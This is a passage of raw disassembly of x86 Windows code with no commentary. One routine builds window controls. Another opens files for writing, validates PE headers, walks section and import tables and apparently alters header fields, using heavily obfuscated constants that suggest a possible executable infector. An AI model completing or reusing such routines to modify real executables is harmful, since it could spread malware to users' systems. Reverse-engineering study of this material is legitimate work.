ds:dword_4CD93C mov edi, eax mov eax, 30h mul esi mov [ebp+var_274], eax mov ebx, eax mov ds:dword_4CC558[ebx], edi mov eax, [ebp+var_114] sub eax, [ebp+var_11C] mov edx, dword_5511E0 add edx, 29h sub eax, edx mov [ebp+var_120], eax mov edi, [ebp+var_110] sub edi, [ebp+var_118] mov ebx, dword_5511D4 add ebx, 0F2h sub edi, ebx mov ebx, dword_551204 add ebx, 3Ah mov eax, edi sub eax, ebx xor edx, edx test eax, eax setl dl add eax, edx sar eax, 1 mov [ebp+var_124], eax mov edx, dword_551234 add edx, dword_551184 sub edx, 0Ch cmp eax, edx jge short loc_43A934 movsx eax, word_5510F8 add eax, dword_551238 sub eax, 4 mov [ebp+var_124], eax loc_43A934: ; CODE XREF: sub_43A324+5F8j push offset dword_552984 call sub_43CAF7 mov [ebp+var_278], eax push offset dword_552980 call sub_43CAF7 mov [ebp+var_27C], eax mov edi, dword_551220 add edi, dword_551140 sub edi, 3 push edi push dword ptr [ebp-10Ch] mov edi, dword_5510C8 dec edi push edi mov eax, 30h mul esi mov [ebp+var_280], eax mov edi, eax push ds:dword_4CC558[edi] movsx edi, word_551138 add edi, 0F7h push edi push [ebp+var_120] mov edi, [ebp+var_124] mov ebx, dword_551188 add ebx, 36h movsx edx, word_551148 add ebx, edx add edi, ebx movsx ebx, word_5510FC dec ebx add edi, ebx push edi mov edi, dword_551154 add edi, 5 add edi, dword_5510AC push edi push 50800009h mov edi, [ebp+var_27C] push edi mov edi, [ebp+var_278] push edi movsx edi, word_5510F8 sub edi, 5 push edi call ds:dword_4CD93C mov [ebp+var_138], eax push offset word_552976 call sub_43CAF7 mov [ebp+var_284], eax push offset byte_55295D call sub_43CAF7 mov [ebp+var_288], eax mov edi, dword_551124 movsx ebx, word_5510FC add edi, ebx sub edi, 4 push edi push dword ptr [ebp-10Ch] movsx edi, word_551148 movsx ebx, word_5511CC add edi, ebx sub edi, 0Ah push edi mov eax, 30h mul esi mov [ebp+var_28C], eax mov edi, eax push ds:dword_4CC558[edi] mov edi, dword_5511AC add edi, 31h add edi, dword_55124C push edi push [ebp+var_120] push [ebp+var_124] movsx edi, word_551104 mov ebx, dword_55121C lea edi, [edi+ebx+10h] push edi push 50800000h mov edi, [ebp+var_288] push edi mov edi, [ebp+var_284] push edi mov edi, dword_551214 sub edi, 3 push edi call ds:dword_4CD93C mov [ebp+var_13C], eax mov eax, dword_5510E8 dec eax push eax push 2 push 0 push 0 push 5 push 1 movsx eax, word_551198 mov edx, dword_551228 add edx, eax sub edx, 9 push edx mov edx, dword_55117C add edx, dword_551204 sub edx, 9 push edx mov edx, dword_55119C sub edx, 4 push edx push 2BCh mov edx, dword_5510A0 add edx, dword_551174 sub edx, 0Ah push edx push dword_5510BC add eax, dword_551154 dec eax push eax mov eax, dword_5511E4 add eax, 10h push eax call ds:dword_4CC220 mov [ebp+var_140], eax push 1 push eax push 30h push [ebp+var_13C] call ds:dword_448018 push offset byte_552953 call sub_43CAF7 mov [ebp+var_290], eax push offset word_55294E call sub_43CAF7 add esp, 18h mov edi, dword_551130 dec edi push edi push dword ptr [ebp-10Ch] mov edi, dword_551134 sub edi, 2 push edi push [ebp+var_138] mov edi, dword_5510A0 add edi, 0F2h movsx ebx, word_551210 add edi, ebx mov ebx, dword_551098 add ebx, dword_551248 sub ebx, 9 sub edi, ebx push edi mov edi, [ebp+var_120] mov ebx, dword_551154 add ebx, dword_551214 sub ebx, 7 sub edi, ebx push edi movsx edi, word_551148 add edi, dword_5511E4 sub edi, 4 push edi mov edi, dword_551108 sub edi, 7 push edi push 50000000h push eax mov edi, [ebp+var_290] push edi mov edi, dword_551234 add edi, dword_551170 sub edi, 0Ch push edi call ds:dword_4CD93C mov edi, eax mov eax, 30h mul esi mov [ebp+var_294], eax mov ebx, eax mov ds:dword_4CC55C[ebx], edi mov eax, dword_55120C add eax, dword_551174 cmp [ebp+eax+var_10A], 34h jnz short loc_43AC3B push offset word_552946 call sub_43CAF7 pop ecx push eax lea edi, [ebp+var_154] push edi call sub_4475D4 jmp short loc_43AC53 ; --------------------------------------------------------------------------- loc_43AC3B: ; CODE XREF: sub_43A324+8FBj push offset dword_552938 call sub_43CAF7 pop ecx push eax lea edi, [ebp+var_154] push edi call sub_4475D4 loc_43AC53: ; CODE XREF: sub_43A324+915j push offset word_5528C6 call sub_43CAF7 lea edi, [ebp+var_FF] push edi lea edi, [ebp+var_154] push edi push eax lea edi, [ebp+var_253] push edi call ds:dword_50E928 push offset dword_5528BC call sub_43CAF7 mov [ebp+var_298], eax mov edi, dword_551168 add edi, dword_5511E0 sub edi, 6 push edi push dword ptr [ebp-10Ch] push dword_551238 mov eax, 30h mul esi mov [ebp+var_29C], eax mov edi, eax push ds:dword_4CC55C[edi] mov edi, dword_5511D4 add edi, 28h push edi push [ebp+var_120] movsx edi, word_5511A4 add edi, 4 push edi mov edi, dword_5510EC movsx ebx, word_55113C add edi, ebx push edi push 50000000h lea edi, [ebp+var_253] push edi mov edi, [ebp+var_298] push edi movsx edi, word_5510F8 add edi, dword_551200 sub edi, 0Ah push edi call ds:dword_4CD93C mov [ebp+var_258], eax movsx eax, word_5511C4 add eax, dword_5510A4 sub eax, 0Fh push eax push 2 push 0 push 0 push 5 push 1 mov eax, dword_551204 add eax, dword_551140 sub eax, 3 push eax movsx eax, word_551148 add eax, dword_551110 sub eax, 0Ah push eax mov eax, dword_551158 sub eax, 3 push eax push 190h movsx eax, word_551164 dec eax push eax mov eax, dword_551234 add eax, dword_551120 sub eax, 10h push eax movsx eax, word_5510F8 movsx edx, word_5510CC add eax, edx push eax mov eax, dword_5510E0 add eax, 0Ah push eax call ds:dword_4CC220 mov [ebp+var_130], eax push 1 push eax push 30h push [ebp+var_258] call ds:dword_448018 push offset dword_5528B0 call sub_43CAF7 mov [ebp+var_2A0], eax push offset off_5528AC call sub_43CAF7 mov [ebp+var_2A4], eax mov edi, dword_551090 sub edi, 4 push edi push dword ptr [ebp-10Ch] movsx edi, word_551240 movsx ebx, word_5511E8 add edi, ebx sub edi, 0Fh push edi mov eax, 30h mul esi mov [ebp+var_2A8], eax mov edi, eax push ds:dword_4CC55C[edi] mov edi, dword_551120 add edi, 124h push edi movsx edi, word_5511CC mov ebx, dword_5511BC lea edi, [edi+ebx+2Dh] push edi mov edi, dword_55110C add edi, 49h push edi mov edi, dword_551158 add edi, 43h push edi push 50800003h mov edi, [ebp+var_2A4] push edi mov edi, [ebp+var_2A0] push edi mov edi, dword_5511E0 sub edi, 4 push edi call ds:dword_4CD93C mov edi, eax mov eax, 30h mul esi mov [ebp+var_2AC], eax mov ebx, eax mov ds:dword_4CC564[ebx], edi push offset dword_5528A0 call sub_43CAF7 mov [ebp+var_2B0], eax push offset dword_55289C call sub_43CAF7 add esp, 28h mov [ebp+var_2B4], eax mov edi, dword_5511C0 movsx ebx, word_551118 add edi, ebx sub edi, 9 push edi push dword ptr [ebp-10Ch] mov edi, dword_551160 sub edi, 7 push edi mov eax, 30h mul esi mov [ebp+var_2B8], eax mov edi, eax push ds:dword_4CC55C[edi] mov edi, dword_551154 add edi, 11Dh add edi, dword_5511B0 push edi mov edi, dword_551200 add edi, 26h add edi, dword_55122C push edi mov edi, dword_551098 add edi, 3Ah add edi, dword_551120 push edi movsx edi, word_551194 movsx ebx, word_5511A4 lea edi, [edi+ebx+3] push edi push 50800003h mov edi, [ebp+var_2B4] push edi mov edi, [ebp+var_2B0] push edi mov edi, dword_5510AC sub edi, 7 push edi call ds:dword_4CD93C mov edi, eax mov eax, 30h mul esi mov [ebp+var_2BC], eax mov ebx, eax mov ds:dword_4CC560[ebx], edi mov eax, dword_551180 movsx edx, word_5510FC add eax, edx dec eax mov [ebp-102h], ax jmp loc_43B032 ; --------------------------------------------------------------------------- loc_43AF6E: ; CODE XREF: sub_43A324+D21j push offset dword_552894 call sub_43CAF7 movzx edi, word ptr [ebp-102h] push edi push eax lea edi, [ebp+var_2C6] push edi call ds:dword_50E928 lea eax, [ebp+var_2C6] push eax mov eax, dword_55117C add eax, dword_55111C sub eax, 9 push eax push 143h mov eax, 30h mul esi mov [ebp+var_2CC], eax push ds:dword_4CC560[eax] call ds:dword_448018 push offset word_55288A call sub_43CAF7 movzx edi, word ptr [ebp-102h] mov ebx, dword_55119C add ebx, 3 add edi, ebx push edi push eax lea edi, [ebp+var_2C6] push edi call ds:dword_50E928 add esp, 20h lea eax, [ebp+var_2C6] push eax movsx eax, word_551208 movsx edx, word_551210 add eax, edx sub eax, 6 push eax push 143h mov eax, 30h mul esi mov [ebp+var_2D0], eax push ds:dword_4CC564[eax] call ds:dword_448018 inc word ptr [ebp-102h] loc_43B032: ; CODE XREF: sub_43A324+C45j movzx eax, word ptr [ebp-102h] movsx edx, word_5511A8 add edx, 0Dh cmp eax, edx jl loc_43AF6E push offset word_552882 call sub_43CAF7 mov [ebp+var_2C0], eax push offset word_55287E call sub_43CAF7 mov [ebp+var_2C4], eax mov edi, dword_551200 add edi, dword_55124C sub edi, 0Eh push edi push dword ptr [ebp-10Ch] mov edi, dword_5510D4 add edi, dword_551214 sub edi, 8 push edi mov eax, 30h mul esi mov [ebp-2C8h], eax mov edi, eax push ds:dword_4CC55C[edi] mov edi, dword_5510A4 add edi, 11h push edi mov edi, dword_5510D8 add edi, 4Ah add edi, dword_5510B0 push edi mov edi, dword_551220 add edi, 7Ah push edi movsx edi, word_5510F8 mov ebx, dword_551174 lea edi, [edi+ebx+23h] push edi push 50800000h mov edi, [ebp+var_2C4] push edi mov edi, [ebp+var_2C0] push edi push 200h call ds:dword_4CD93C mov edi, eax mov eax, 30h mul esi mov [ebp+var_2CC], eax mov ebx, eax mov ds:dword_4CC568[ebx], edi movsx eax, word_5510CC dec eax push eax push 58h push 0CCh mov eax, 30h mul esi mov [ebp+var_2D0], eax push ds:dword_4CC568[eax] call ds:dword_448018 push offset dword_552874 call sub_43CAF7 mov [ebp+var_2D4], eax push offset word_552852 call sub_43CAF7 mov [ebp+var_2D8], eax mov edi, dword_551168 sub edi, 2 push edi push dword ptr [ebp-10Ch] mov edi, dword_5511DC add edi, dword_5510D4 sub edi, 5 push edi mov eax, 30h mul esi mov [ebp+var_2DC], eax mov edi, eax push ds:dword_4CC55C[edi] mov edi, dword_55110C add edi, 3Dh add edi, dword_551230 push edi push [ebp+var_120] movsx edi, word_5510F8 mov ebx, dword_551224 lea edi, [edi+ebx+49h] push edi mov edi, dword_5511C0 add edi, 93h add edi, dword_551124 push edi push 50000000h mov edi, [ebp+var_2D8] push edi mov edi, [ebp+var_2D4] push edi mov edi, dword_5510D8 sub edi, 6 push edi call ds:dword_4CD93C mov [ebp+var_25C], eax push 1 push [ebp+var_130] push 30h push eax call ds:dword_448018 push offset dword_552848 call sub_43CAF7 mov [ebp+var_2E0], eax push offset word_55282E call sub_43CAF7 add esp, 18h mov [ebp+var_2E4], eax mov edi, dword_551100 sub edi, 9 push edi push dword ptr [ebp-10Ch] mov edi, dword_551130 add edi, dword_5511F4 sub edi, 0Ah push edi mov eax, 30h mul esi mov [ebp+var_2E8], eax mov edi, eax push ds:dword_4CC55C[edi] mov edi, dword_5510D4 add edi, 12h push edi mov edi, dword_551230 mov ebx, edi add ebx, 9Ah push ebx mov ebx, dword_551154 add ebx, 0F1h add ebx, edi movsx edi, word_551190 mov edx, dword_5511A0 lea edi, [edi+edx+13h] sub ebx, edi push ebx movsx edi, word_551138 add edi, 7 push edi push 50800000h mov edi, [ebp+var_2E4] push edi mov edi, [ebp+var_2E0] push edi mov edi, dword_551214 add edi, dword_5511D4 sub edi, 0Bh push edi call ds:dword_4CD93C mov edi, eax mov eax, 30h mul esi mov [ebp+var_2EC], eax mov ebx, eax mov ds:dword_4CC56C[ebx], edi push 1 push [ebp+var_130] mov eax, 30h push 30h mul esi mov [ebp+var_2F0], eax push ds:dword_4CC56C[eax] call ds:dword_448018 push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_2F4], eax mov [ebp+var_2F8], eax push ds:dword_4CC55C[eax] call ds:dword_4CE914 mov edi, [ebp+var_2F8] mov ds:dword_4CC57C[edi], eax push offset sub_441D1A push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_2FC], eax push ds:dword_4CC55C[eax] call ds:dword_44B5AC push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_300], eax mov [ebp+var_304], eax push ds:dword_4CC568[eax] call ds:dword_4CE914 mov edi, [ebp+var_304] mov ds:dword_4CC578[edi], eax push offset sub_441D1A push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_308], eax push ds:dword_4CC568[eax] call ds:dword_44B5AC push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_30C], eax mov [ebp+var_310], eax push ds:dword_4CC564[eax] call ds:dword_4CE914 mov edi, [ebp+var_310] mov ds:dword_4CC574[edi], eax push offset sub_441D1A push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_314], eax push ds:dword_4CC564[eax] call ds:dword_44B5AC push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_318], eax mov [ebp+var_31C], eax push ds:dword_4CC560[eax] call ds:dword_4CE914 mov edi, [ebp+var_31C] mov ds:dword_4CC570[edi], eax push offset sub_441D1A push 0FFFFFFFCh mov eax, 30h mul esi mov [ebp+var_320], eax push ds:dword_4CC560[eax] call ds:dword_44B5AC mov eax, 30h mul esi mov [ebp+var_324], eax push ds:dword_4CC560[eax] call ds:dword_48B9FC loc_43B466: ; CODE XREF: sub_43A324+10j ; sub_43A324+21j ... pop edi pop esi pop ebx leave retn sub_43A324 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B46B proc near ; CODE XREF: sub_43D0C6+D9p ; sub_43D0C6+13Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, dword_551120 sub esi, 8 movsx edi, word_551198 dec edi jmp short loc_43B4D8 ; --------------------------------------------------------------------------- loc_43B488: ; CODE XREF: sub_43B46B+77j movzx edx, word ptr [ebx+edi*2] mov ecx, [ebp+arg_4] movzx ecx, word ptr [ecx+edi*2] sub edx, ecx sub edx, esi mov [ebp+var_4], edx movsx eax, word_5510D0 sub eax, 6 cmp edx, eax jge short loc_43B4C7 mov eax, dword_55112C add eax, 0FFF8h add [ebp+var_4], eax mov eax, dword_551154 mov esi, eax add esi, dword_55110C sub esi, 9 jmp short loc_43B4D0 ; --------------------------------------------------------------------------- loc_43B4C7: ; CODE XREF: sub_43B46B+3Bj mov esi, dword_5510B8 sub esi, 4 loc_43B4D0: ; CODE XREF: sub_43B46B+5Aj mov edx, [ebp+var_4] mov [ebx+edi*2], dx inc edi loc_43B4D8: ; CODE XREF: sub_43B46B+1Bj mov eax, dword_551220 add eax, 1Eh cmp edi, eax jb short loc_43B488 pop edi pop esi pop ebx leave retn sub_43B46B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B4E9 proc near ; DATA XREF: .data:005512E0o arg_4 = dword ptr 0Ch arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_4] mov eax, [ebp+arg_10] mov word ptr [ebp+arg_10], ax mov eax, dword_551130 add eax, 0F9h cmp edi, eax jnz short loc_43B512 push [ebp+arg_14] call sub_44496E pop ecx xor eax, eax jmp short loc_43B532 ; --------------------------------------------------------------------------- loc_43B512: ; CODE XREF: sub_43B4E9+1Aj mov eax, dword_55114C add eax, 101h cmp edi, eax jnz short loc_43B52D push [ebp+arg_14] call sub_440A1B pop ecx xor eax, eax jmp short loc_43B532 ; --------------------------------------------------------------------------- loc_43B52D: ; CODE XREF: sub_43B4E9+35j mov eax, 80020003h loc_43B532: ; CODE XREF: sub_43B4E9+27j ; sub_43B4E9+42j pop edi pop ebp retn 24h sub_43B4E9 endp ; =============== S U B R O U T I N E ======================================= sub_43B537 proc near ; DATA XREF: .data:005512FCo mov eax, 80004001h retn 10h sub_43B537 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B53F proc near ; DATA XREF: .data:005512CCo push ebp mov ebp, esp push offset dword_54FF3C call ds:dword_48B9F8 mov eax, ds:dword_54FF3C pop ebp retn 4 sub_43B53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B556 proc near ; DATA XREF: .data:off_5512C8o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] push offset dword_552A98 push esi call ds:dword_50E93C or eax, eax jz short loc_43B582 mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_43B5D1 ; --------------------------------------------------------------------------- loc_43B582: ; CODE XREF: sub_43B556+1Aj push offset dword_552A18 push esi call ds:dword_50E93C or eax, eax jz short loc_43B5A2 mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_43B5D1 ; --------------------------------------------------------------------------- loc_43B5A2: ; CODE XREF: sub_43B556+3Aj push offset dword_5529E8 push esi call ds:dword_50E93C or eax, eax jz short loc_43B5C2 mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_43B5D1 ; --------------------------------------------------------------------------- loc_43B5C2: ; CODE XREF: sub_43B556+5Aj mov eax, dword_5511B4 sub eax, 4 mov [edi], eax mov eax, 80004002h loc_43B5D1: ; CODE XREF: sub_43B556+2Aj ; sub_43B556+4Aj ... pop edi pop esi pop ebx pop ebp retn 0Ch sub_43B556 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B5D8 proc near ; CODE XREF: sub_43CBE6+1F8p var_32008 = dword ptr -32008h var_32004 = dword ptr -32004h var_31FFF = byte ptr -31FFFh var_31FFD = byte ptr -31FFDh var_31F34 = dword ptr -31F34h var_31F30 = dword ptr -31F30h var_31F2C = dword ptr -31F2Ch var_31F28 = dword ptr -31F28h var_31F24 = dword ptr -31F24h var_31F20 = dword ptr -31F20h var_31F1C = dword ptr -31F1Ch var_31F18 = dword ptr -31F18h var_31F14 = dword ptr -31F14h var_31F10 = dword ptr -31F10h var_31F0C = dword ptr -31F0Ch var_31F08 = dword ptr -31F08h var_31F04 = dword ptr -31F04h var_31F00 = dword ptr -31F00h var_31EFC = dword ptr -31EFCh var_31EF8 = dword ptr -31EF8h var_31EF4 = dword ptr -31EF4h var_31EF0 = dword ptr -31EF0h var_31EEC = dword ptr -31EECh var_31EE8 = dword ptr -31EE8h var_31EE4 = dword ptr -31EE4h var_31EE0 = dword ptr -31EE0h var_31EDC = dword ptr -31EDCh var_31ED8 = byte ptr -31ED8h var_31ECB = byte ptr -31ECBh var_1198 = dword ptr -1198h var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = dword ptr -118Ch var_1188 = dword ptr -1188h var_1184 = dword ptr -1184h var_117F = byte ptr -117Fh var_1080 = dword ptr -1080h var_107C = dword ptr -107Ch var_1078 = dword ptr -1078h var_1074 = dword ptr -1074h var_1070 = dword ptr -1070h var_106C = dword ptr -106Ch var_1068 = dword ptr -1068h var_1064 = dword ptr -1064h var_1060 = dword ptr -1060h var_105C = dword ptr -105Ch var_1058 = dword ptr -1058h var_1054 = dword ptr -1054h var_1050 = dword ptr -1050h var_C54 = dword ptr -0C54h var_C50 = dword ptr -0C50h var_C4C = dword ptr -0C4Ch var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_434 = dword ptr -434h var_430 = dword ptr -430h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = dword ptr -420h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 32008h call sub_4475B4 push ebx push esi push edi mov eax, dword_551160 sub eax, 7 mov [ebp+var_31EE4], eax push [ebp+arg_8] push [ebp+arg_4] lea eax, [ebp+var_31ECB] push eax call ds:dword_4CD814 add esp, 0Ch loc_43B60C: ; CODE XREF: sub_43B5D8+99j mov eax, dword_551124 sub eax, 2 push eax movsx eax, word_551128 sub eax, 5 push eax push 3 mov eax, dword_5510C8 dec eax push eax mov eax, dword_551248 movsx edx, word_5511A8 add eax, edx sub eax, 4 push eax push 0C0000001h push [ebp+arg_0] call ds:dword_54FB18 mov [ebp+var_1074], eax cmp eax, 0FFFFFFFFh jnz short loc_43B67A inc [ebp+var_31EE4] mov eax, dword_55110C dec eax cmp [ebp+var_31EE4], eax jnz short loc_43B673 push [ebp+arg_0] call sub_43FA48 pop ecx jmp short loc_43B60C ; --------------------------------------------------------------------------- loc_43B673: ; CODE XREF: sub_43B5D8+8Ej xor eax, eax jmp loc_43CAF2 ; --------------------------------------------------------------------------- loc_43B67A: ; CODE XREF: sub_43B5D8+7Aj mov eax, dword_551174 add eax, dword_5510D4 sub eax, 0Ch push eax push [ebp+var_1074] call ds:dword_4CE910 mov [ebp+var_10], eax mov edx, [ebp+arg_8] lea eax, [eax+edx+1FFFFh] push eax push 0 call ds:dword_48B9EC mov [ebp+var_4], eax movsx eax, word_551128 sub eax, 5 push eax lea eax, [ebp+var_31EE0] push eax push [ebp+var_10] push [ebp+var_4] push [ebp+var_1074] call ds:dword_448034 mov eax, [ebp+var_4] mov eax, [eax+3Ch] mov [ebp+var_840], eax mov eax, [ebp+var_31EE0] sub eax, 0F8h cmp [ebp+var_840], eax ja loc_43CADB mov eax, [ebp+var_840] add eax, [ebp+var_4] mov [ebp+var_8], eax movzx eax, word ptr [eax] cmp eax, 4550h jnz loc_43CADB mov eax, [ebp+var_8] movzx eax, word ptr [eax+5Ch] mov edx, dword_5510DC add edx, dword_5510D8 sub edx, 9 cmp eax, edx jz loc_43CADB and [ebp+var_1184], 0 mov eax, [ebp+var_8] movzx edx, word ptr [eax+44h] mov ecx, dword_551188 add ecx, 8 cmp edx, ecx jnz short loc_43B784 mov edx, dword_551204 add edx, dword_551160 dec edx mov [eax+1Ah], dl cmp dl, 0 jz short loc_43B784 movzx eax, word ptr [eax+46h] mov [ebp+var_31EF4], eax movsx eax, word_5510D0 cmp [ebp+var_31EF4], eax jnb loc_43CADB mov [ebp+var_1184], 1 loc_43B784: ; CODE XREF: sub_43B5D8+16Ej ; sub_43B5D8+183j cmp [ebp+var_1184], 0 jz short loc_43B7DC mov eax, dword_551170 movsx edx, word_551094 add eax, edx cmp [ebp+var_31EF4], eax jnb short loc_43B7BC mov eax, [ebp+var_8] add eax, 6 movzx edx, word ptr [eax] mov ecx, dword_55110C add ecx, 2 sub edx, ecx mov [eax], dx jmp short loc_43B7DC ; --------------------------------------------------------------------------- loc_43B7BC: ; CODE XREF: sub_43B5D8+1C9j mov eax, [ebp+var_8] add eax, 6 movzx edx, word ptr [eax] mov ecx, dword_551230 movsx edi, word_5510D0 add ecx, edi sub ecx, 4 sub edx, ecx mov [eax], dx loc_43B7DC: ; CODE XREF: sub_43B5D8+1B3j ; sub_43B5D8+1E2j mov eax, [ebp+var_8] mov eax, [eax+80h] mov [ebp+var_430], eax mov eax, [ebp+var_840] mov [ebp+var_106C], eax add [ebp+var_106C], 0F8h mov eax, 28h mov ecx, [ebp+var_8] movzx ecx, word ptr [ecx+6] mul ecx mov [ebp+var_31EF8], eax add [ebp+var_106C], eax mov eax, 28h mov ecx, dword_5511C0 add ecx, 2 mul ecx mov [ebp+var_31EFC], eax add [ebp+var_106C], eax mov eax, [ebp+var_8] mov ecx, [eax+0D4h] add [ebp+var_106C], ecx mov eax, [eax+54h] cmp [ebp+var_106C], eax ja loc_43CADB mov eax, dword_5511B4 sub eax, 4 mov [ebp+var_C54], eax mov eax, dword_55116C sub eax, 5 mov [ebp+var_1C], eax mov eax, dword_5511F4 sub eax, 9 mov [ebp+var_105C], eax mov eax, dword_5510F0 sub eax, 3 mov [ebp+var_434], eax jmp loc_43B951 ; --------------------------------------------------------------------------- loc_43B88F: ; CODE XREF: sub_43B5D8+386j mov eax, 28h mul [ebp+var_434] mov [ebp+var_31F08], eax mov eax, [ebp+var_840] mov edx, [ebp+var_4] lea eax, [eax+edx+0F8h] mov edx, [ebp+var_31F08] mov esi, edx add esi, eax mov eax, [esi+0Ch] add eax, [esi+8] mov [ebp+var_31F00], eax mov eax, [esi+14h] add eax, [esi+10h] mov [ebp+var_31F04], eax mov eax, [ebp+var_1C] cmp [ebp+var_31F00], eax jbe short loc_43B8E6 mov eax, [ebp+var_31F00] mov [ebp+var_1C], eax loc_43B8E6: ; CODE XREF: sub_43B5D8+303j mov eax, [ebp+var_C54] cmp [ebp+var_31F04], eax jbe short loc_43B900 mov eax, [ebp+var_31F04] mov [ebp+var_C54], eax loc_43B900: ; CODE XREF: sub_43B5D8+31Aj mov eax, [ebp+var_8] mov eax, [eax+0A8h] cmp eax, [esi+0Ch] jb short loc_43B92B cmp eax, [ebp+var_31F00] jnb short loc_43B92B mov eax, [esi+14h] mov edx, [ebp+var_8] add eax, [edx+0A8h] sub eax, [esi+0Ch] mov [ebp+var_105C], eax loc_43B92B: ; CODE XREF: sub_43B5D8+334j ; sub_43B5D8+33Cj mov eax, [ebp+var_430] mov edx, [esi+0Ch] cmp eax, edx jb short loc_43B94B add edx, [esi+8] cmp eax, edx jnb short loc_43B94B sub eax, [esi+0Ch] add eax, [esi+14h] mov [ebp+var_844], eax loc_43B94B: ; CODE XREF: sub_43B5D8+35Ej ; sub_43B5D8+365j inc [ebp+var_434] loc_43B951: ; CODE XREF: sub_43B5D8+2B2j mov eax, [ebp+var_8] movzx eax, word ptr [eax+6] cmp [ebp+var_434], eax jb loc_43B88F mov eax, dword_551090 add eax, 0FFCh push eax push [ebp+var_1C] call sub_441CD8 add esp, 8 mov [ebp+var_1C], eax cmp [ebp+var_1184], 0 jz short loc_43B98F mov eax, [ebp+var_C54] mov [ebp+var_10], eax loc_43B98F: ; CODE XREF: sub_43B5D8+3ACj mov eax, [ebp+var_C54] cmp [ebp+var_10], eax jz short loc_43B9B1 mov eax, [ebp+var_8] movsx edx, word_551198 dec edx cmp [eax+0A8h], edx jz loc_43CADB loc_43B9B1: ; CODE XREF: sub_43B5D8+3C0j mov eax, dword_55124C sub eax, 9 cmp [ebp+var_105C], eax jz loc_43BA90 mov eax, dword_5511AC add eax, dword_5511DC sub eax, 2 mov [ebp+var_31F08], eax mov eax, dword_551160 sub eax, 7 mov [ebp+var_31F00], eax jmp short loc_43BA37 ; --------------------------------------------------------------------------- loc_43B9E9: ; CODE XREF: sub_43B5D8+485j mov eax, [ebp+var_105C] mov [ebp+var_31F0C], eax mov eax, 1Ch mul [ebp+var_31F00] mov [ebp+var_31F10], eax mov eax, [ebp+var_31F0C] mov edx, [ebp+var_31F10] add eax, edx add eax, [ebp+var_4] mov [ebp+var_31F04], eax mov edx, [ebp+var_31F08] cmp [eax+18h], edx jbe short loc_43BA31 mov eax, [eax+18h] mov [ebp+var_31F08], eax loc_43BA31: ; CODE XREF: sub_43B5D8+44Ej inc [ebp+var_31F00] loc_43BA37: ; CODE XREF: sub_43B5D8+40Fj mov edi, [ebp+var_8] mov eax, [edi+0ACh] mov ecx, 1Ch shr eax, 2 mov edx, 24924925h mul edx mov [ebp+var_31F0C], edx mov edi, edx cmp [ebp+var_31F00], edi jb short loc_43B9E9 mov eax, [ebp+var_8] push dword ptr [eax+3Ch] push [ebp+var_31F08] call sub_441CD8 add esp, 8 mov [ebp+var_31F08], eax mov eax, [ebp+var_C54] cmp eax, [ebp+var_10] jz short loc_43BA90 cmp [ebp+var_31F08], eax jnz loc_43CADB loc_43BA90: ; CODE XREF: sub_43B5D8+3E7j ; sub_43B5D8+4AAj and [ebp+var_1078], 0 mov eax, dword_551134 add eax, dword_5510D4 sub eax, 7 mov [ebp+var_438], eax jmp loc_43BBE1 ; --------------------------------------------------------------------------- loc_43BAB0: ; CODE XREF: sub_43B5D8+618j mov eax, [ebp+var_844] add eax, [ebp+var_438] add eax, [ebp+var_4] mov [ebp+var_32004], eax mov edx, dword_55112C add edx, dword_551168 sub edx, 0Ah cmp [eax], edx jz loc_43BBF6 mov eax, [ebp+var_32004] mov eax, [eax+0Ch] sub eax, [ebp+var_430] add eax, [ebp+var_844] mov [ebp+var_32008], eax add eax, [ebp+var_4] push eax lea eax, [ebp+var_31FFF] push eax call ds:dword_44B1A4 add esp, 8 mov eax, dword_551140 dec eax mov [ebp+var_31F00], eax jmp short loc_43BB44 ; --------------------------------------------------------------------------- loc_43BB19: ; CODE XREF: sub_43B5D8+58Ej mov eax, [ebp+var_31F00] mov al, [ebp+eax+var_31FFF] cmp al, 61h jle short loc_43BB3E cmp al, 7Ah jge short loc_43BB3E mov eax, [ebp+var_31F00] lea eax, [ebp+eax+var_31FFF] sub byte ptr [eax], 20h loc_43BB3E: ; CODE XREF: sub_43B5D8+550j ; sub_43B5D8+554j inc [ebp+var_31F00] loc_43BB44: ; CODE XREF: sub_43B5D8+53Fj mov eax, [ebp+var_31F00] movsx eax, [ebp+eax+var_31FFF] mov edx, dword_5510BC movsx ecx, 